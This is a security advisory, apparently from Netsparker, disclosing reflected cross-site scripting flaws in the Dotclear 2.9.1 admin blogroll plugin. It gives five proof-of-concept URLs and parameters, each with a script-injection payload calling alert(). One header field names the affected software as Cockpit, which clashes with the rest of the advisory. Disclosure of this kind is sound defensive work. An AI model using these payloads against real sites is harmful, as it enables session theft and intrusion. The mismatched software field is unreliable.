Advisory by Netsparker
Name: Multiple Reflected XSS Vulnerabilities in Dotclear
Affected Software : Cockpit
Affected Versions: 2.9.1
Vendor Homepage : 
Vulnerability Type : Cross-site Scripting
Severity : Important
Status : Fixed
Netsparker Advisory Reference : NS-16-017

Technical Details

Proof of Concept URLs for XSS vulnerabilities in Dotclear;

URL /dotcl/admin/plugin.php
Parameter Name link_title
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>alert(0x000ED2)</scRipt>

URL /dotcl/admin/plugin.php
Parameter Name link_lang
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>alert(0x000EE0)</scRipt>

URL /dotcl/admin/plugin.php?p=blogroll&edit=1&id=1&id='"--></style></scRipt><scRipt>alert(0x000DB7)</scRipt>
Parameter Name id
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x000DB7)</scRipt>

URL /dotcl/admin/plugin.php
Parameter Name link_href
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>alert(0x000ED8)</scRipt>

URL /dotcl/admin/plugin.php
Parameter Name link_desc
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>alert(0x000EDE)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
03 Aug 2016 - Issue reported
13 Aug 2016 - Vendor fixed
22 Sep 2016 - Advisory released

Download latest version of Dotclear.

Credits & Authors
This issues has been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker
Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine's unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Enterprise. Visit our website for more information.